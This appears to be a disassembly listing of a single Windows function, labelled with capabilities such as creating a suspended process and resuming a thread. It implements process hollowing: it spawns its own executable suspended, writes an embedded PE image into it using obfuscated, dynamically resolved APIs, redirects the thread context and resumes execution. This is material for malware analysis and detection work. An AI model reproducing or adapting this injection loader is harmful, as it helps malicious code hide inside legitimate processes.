Function at 0x448680
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ccc1
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x510
mov eax, dword [0x665500]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x48c], edx
mov esi, ecx
mov dword [ebp - 4], 0
mov eax, dword [esi + 4]
sub eax, dword [esi]
push eax
mov byte [ebp - 0x485], 0
call fcn.00439524
mov edx, dword [esi]
add esp, 4
mov ecx, dword [esi + 4]
mov edi, eax
sub ecx, edx
push ecx
push edx
push edi
call fcn.00436050
add esp, 0xc
test edi, edi
je 0x448a59
mov eax, dword [edi + 0x3c]
mov dword [ebp - 0x484], eax
lea esi, [eax + edi]
test esi, esi
je 0x448a7a
push 0x400
lea eax, [ebp - 0x420]
mov dword [ebp - 0x47c], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [esi]
cmp eax, 0x4550
jne 0x448a9b
push 0x44
lea eax, [ebp - 0x468]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x478], xmm0
call fcn.00435ef0
add esp, 0xc
lea eax, [ebp - 0x478]
push eax
lea eax, [ebp - 0x468]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x448ad5
sub esp, 0x18
mov byte [ebp - 0x485], 1
mov ecx, esp
mov dword [ebp - 0x480], esp
push str.2zparkLhDEZ49CvT6
call fcn.0040e420
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
push str.2btStP43LwbPzHb4u
call fcn.0040e420
mov ecx, dword [ebp - 0x48c]
mov byte [ebp - 4], 0
call fcn.00411830
add esp, 0x30
push 4
push 0x1000
push 4
push 0
call eax
add esp, 0x10
mov dword [ebp - 0x498], eax
test eax, eax
je 0x448b15
push eax
mov dword [eax], 0x10007
push dword [ebp - 0x474]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x448b43
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x480], esp
push str.22t6hwkyZ9hwuTAT1ufG4rLZ
call fcn.0040e420
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
push str.2btStP43LwbPzHb4u
call fcn.0040e420
mov ecx, dword [ebp - 0x48c]
mov byte [ebp - 4], 0
call fcn.00411830
add esp, 0x30
lea ecx, [ebp - 0x47c]
push 0
push 4
push ecx
mov ecx, dword [ebp - 0x498]
mov ecx, dword [ecx + 0xa4]
add ecx, 8
push ecx
push dword [ebp - 0x478]
call eax
add esp, 0x14
test eax, eax
je 0x448b83
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x480], esp
push str.fuN5Mswh4aCZzehXgbq
call fcn.0040e420
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
push str.2btStP43LwbPzHb4u
call fcn.0040e420
mov ecx, dword [ebp - 0x48c]
mov byte [ebp - 4], 0
call fcn.00411830
add esp, 0x30
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x478]
call eax
add esp, 0x14
mov dword [ebp - 0x494], eax
test eax, eax
je 0x448bc3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x480], esp
push str.5M6ZEKYCxJ9YmD7QvKWJpqCbS
call fcn.0040e420
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
push str.2btStP43LwbPzHb4u
call fcn.0040e420
mov ecx, dword [ebp - 0x48c]
mov byte [ebp - 4], 0
call fcn.00411830
add esp, 0x30
mov dword [ebp - 0x480], eax
push 0
push dword [esi + 0x54]
push edi
push dword [ebp - 0x494]
push dword [ebp - 0x478]
call eax
add esp, 0x14
test eax, eax
je 0x448c03
xor ecx, ecx
mov dword [ebp - 0x48c], 0
xor edx, edx
movzx eax, word [esi + 6]
mov dword [ebp - 0x490], ecx
push 0
cmp ecx, eax
jge 0x4489a4
mov ecx, dword [ebp - 0x484]
lea eax, [edx + edx*4]
lea ecx, [ecx + eax*8]
push dword [ecx + edi + 0x108]
mov eax, dword [ecx + edi + 0x10c]
add eax, edi
push eax
mov eax, dword [ecx + edi + 0x104]
add eax, dword [ebp - 0x494]
push eax
push dword [ebp - 0x478]
call dword [ebp - 0x480]
add esp, 0x14
test eax, eax
je 0x448c43
mov ecx, dword [ebp - 0x490]
inc ecx
mov dword [ebp - 0x48c], ecx
mov edx, ecx
jmp 0x448941
mov edi, dword [ebp - 0x498]
lea eax, [esi + 0x34]
push 4
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x478]
call dword [ebp - 0x480]
add esp, 0x14
test eax, eax
je 0x448c8a
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x494]
push edi
mov dword [edi + 0xb0], eax
push dword [ebp - 0x474]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x474]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x448a3b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00434679
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.var_21_null_value
lea ecx, [ebp - 0x4a8]
call fcn.0040efc0
push 0x663a34
lea eax, [ebp - 0x4a8]
push eax
call fcn.004365c4
push str.var_28_null_value
lea ecx, [ebp - 0x4b4]
call fcn.0040efc0
push 0x663a34
lea eax, [ebp - 0x4b4]
push eax
call fcn.004365c4
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.var44_invalid_value:_
call fcn.00411a30
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x4c0]
call fcn.00412860
add esp, 8
lea eax, [ebp - 0x4c0]
push 0x663a34
push eax
call fcn.004365c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.fn53_invalid_result
call fcn.00411a30
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x4cc]
call fcn.00412950
add esp, 8
lea eax, [ebp - 0x4cc]
push 0x663a34
push eax
call fcn.004365c4
sub esp, 8
mov ecx, esp
push str.fn67_returns_null
call fcn.00411a30
lea ecx, [ebp - 0x4d8]
call fcn.00412a40
add esp, 8
lea eax, [ebp - 0x4d8]
push 0x663a34
push eax
call fcn.004365c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.Cannot_get_context:_error_
call fcn.00411a30
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x4e4]
call fcn.00412950
add esp, 8
lea eax, [ebp - 0x4e4]
push 0x663a34
push eax
call fcn.004365c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.func84_invalid_result_
call fcn.00411a30
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x4f0]
call fcn.00412950
add esp, 8
lea eax, [ebp - 0x4f0]
push 0x663a34
push eax
call fcn.004365c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.func102_invalid_result_
call fcn.00411a30
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x4fc]
call fcn.00412950
add esp, 8
lea eax, [ebp - 0x4fc]
push 0x663a34
push eax
call fcn.004365c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.func111_invalid_result_
call fcn.00411a30
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x508]
call fcn.00412950
add esp, 8
lea eax, [ebp - 0x508]
push 0x663a34
push eax
call fcn.004365c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x484], eax
mov ecx, esp
push str._func121_invalid_result_
call fcn.00411a30
lea eax, [ebp - 0x484]
push eax
lea edx, [ebp - 0x48c]
lea ecx, [ebp - 0x514]
call fcn.00412af0
add esp, 0xc
lea eax, [ebp - 0x514]
push 0x663a34
push eax
call fcn.004365c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x484], eax
mov ecx, esp
push str.func133_invalid_result_
call fcn.00411a30
lea edx, [ebp - 0x484]
lea ecx, [ebp - 0x520]
call fcn.00412950
add esp, 8
lea eax, [ebp - 0x520]
push 0x663a34
push eax
call fcn.004365c4
int3